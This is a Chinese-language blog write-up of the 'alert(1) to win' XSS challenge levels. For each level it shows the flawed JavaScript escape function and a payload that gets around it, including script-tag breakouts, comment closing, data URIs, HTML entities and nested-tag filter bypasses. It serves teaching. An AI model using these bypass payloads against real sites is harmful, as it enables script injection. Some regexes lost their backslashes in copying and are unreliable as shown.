zoukankan      html  css  js  c++  java
  • alert(1) to win Part Ⅰ

    alert(1) to win

    Adobe:

    function escape(s) {
      s = s.replace(/"/g, '\"');
      return '<script>console.log("' + s + '");</script>';
    }
    

    此题将双引号转义为:"

    如果输入");alert(1)//,则输出:<script>console.log("");alert(1)//");</script>,将我们输入的带有恶意的双引号转义为 ", 多了个

    构建payload:");alert(1)//

    输出:<script>console.log("\");alert(1)//");</script>

    JSON

    function escape(s) {
      s = JSON.stringify(s);
      return '<script>console.log(' + s + ');</script>';
    }
    

    JSON.stringify()将 " 都转义了,只能:

    </script><script>alert(1)//

    Markdown

    function escape(s) {
      var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
      // URLs
      text = text.replace(/(http://S+)/g, '<a href="$1">$1</a>');
      // [[img123|Description]]
      text = text.replace(/[[(w+)|(.+?)]]/g, '<img alt="$2" src="$1.gif">');
      return text;
    }
    

    xss_to_win1

    分析:过滤消除了<"的隐患(他俩可扰乱正常的标签解析和属性的闭合),但又新引入了<>"

    xss_to_win2

    xss_to_win3

    DOM

    function escape(s) {
      // Slightly too lazy to make two input fields.
      // Pass in something like "TextNode#foo"
      var m = s.split(/#/);
    
      // Only slightly contrived at this point.
      var a = document.createElement('div');
      a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
      return a.innerHTML;
    }
    

    这题让我们学到:遇到实在弄不明白的代码可以放进控制台实验一下。

    先看代码,根据DOM的知识,大概意思是建立一个div元素,将输入的语句拼接到新的div元素里面。用#将输入分割成两部分,前面一部分接document.creatxxxxx(比如你输入Element,那么前面的document['create'+m[0]]就等价为document.createElement ),后面一部分为内容(至于是什么内容根据前面的标签而定。)在控制台实验如下:

    xss_to_win4

    createTextNode() 创建的是文本节点,不能解析成html元素标签,也就无法触发一些 on* 事件。

    createComment()没有将<>编码,故可使用 --> 闭合注释。

    payload:Comment#--><script>alert(1)</script>

    Callback

    function escape(s) {
      // Pass inn "callback#userdata"
      var thing = s.split(/#/); 
    
      if (!/^[a-zA-Z[]']*$/.test(thing[0])) return 'Invalid callback';
      var obj = {'userdata': thing[1] };
      var json = JSON.stringify(obj).replace(/</g, '\u003c');
      return "<script>" + thing[0] + "(" + json +")</script>";
    }
    

    两边的双引号弄掉了中间乱七八糟一大段,然后以;作为前面部分的总结,照常用//过滤掉后面的双引号。

    payload:'#';alert(1)//

    Skandia

    function escape(s) {
      return '<script>console.log("' + s.toUpperCase() + '")</script>';
    }
    

    代码很简单,就是把输入的字母全部变成大写。

    xss_to_win5

    使用jsfuck将alert(1)编码为下面的可执行内容

    xss_to_win6

    或者:

    先用一个标签闭合前面的(html标签对大小写不敏感)。
    中间再构造一个可以执行的alert(1)的标签就行了。
    payload:</script><script src=data:text/html,%61%6c%65%72%74(1)>使用 Data URI,插入一个 html 文档。
    payload:</script><img src=1 onerror=&#97&#108&#101&#114&#116(1)>使用HTML字符实体。

    Template

    function escape(s) {
      function htmlEscape(s) {
        return s.replace(/./g, function(x) {
           return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;       
         });
      }
    
      function expandTemplate(template, args) {
        return template.replace(
            /{(w+)}/g, 
            function(_, n) { 
               return htmlEscape(args[n]);
             });
      }
      
      return expandTemplate(
        "                                                
    
          <h2>Hello, <span id=name></span>!</h2>         
    
          <script>                                       
    
             var v = document.getElementById('name');    
    
             v.innerHTML = '<a href=#>{name}</a>';       
    
          </script>                                     
    
        ",
        { name : s }
      );
    }
    

    代码将输入的字符串中<>^"',进行转换后保存于变量name,再将变量拼接到<a href=#>{name}</a>其上下文环境是 javascript ,js编码即可,16进制、8进制或unicode。

    payload:x3cimg src=' onerror=alert(1)//

    JSON2

    function escape(s) {
        s = JSON.stringify(s).replace(/</script/gi, '');
        return '<script>console.log(' + s + ');</script>';
    }
    

    词条只需要绕过正则即可,该正则匹配</script不分大小写,匹配任意次。

    payload:</scr</scriptipt><script>alert(1)//

  • 相关阅读:
    字符编码相关
    函数之形参与实参
    文件操作模式
    函数对象,名称空间,作用域,和闭包
    吴裕雄天生自然SPRINGBOOT开发实战处理'spring.datasource.url' is not specified and no embedded datasource could be autoconfigured
    吴裕雄天生自然SPRINGBOOT开发实战处理XXXX that could not be found.
    吴裕雄天生自然SPRINGBOOT开发实战SpringBoot HTML表单登录
    吴裕雄天生自然SPRINGBOOT开发实战SpringBoot REST示例
    吴裕雄天生自然SpringBoot开发实战学习笔记处理 Could not write metadata for '/Servers'.metadata\.plugins\org.eclipse.core.resources\.projects\Servers\.markers.snap (系统找不到指定的路径。)
    吴裕雄天生自然SPRINGBOOT开发实战SpringBoot Tomcat部署
  • 原文地址:https://www.cnblogs.com/chalan630/p/12702537.html
Copyright © 2011-2022 走看看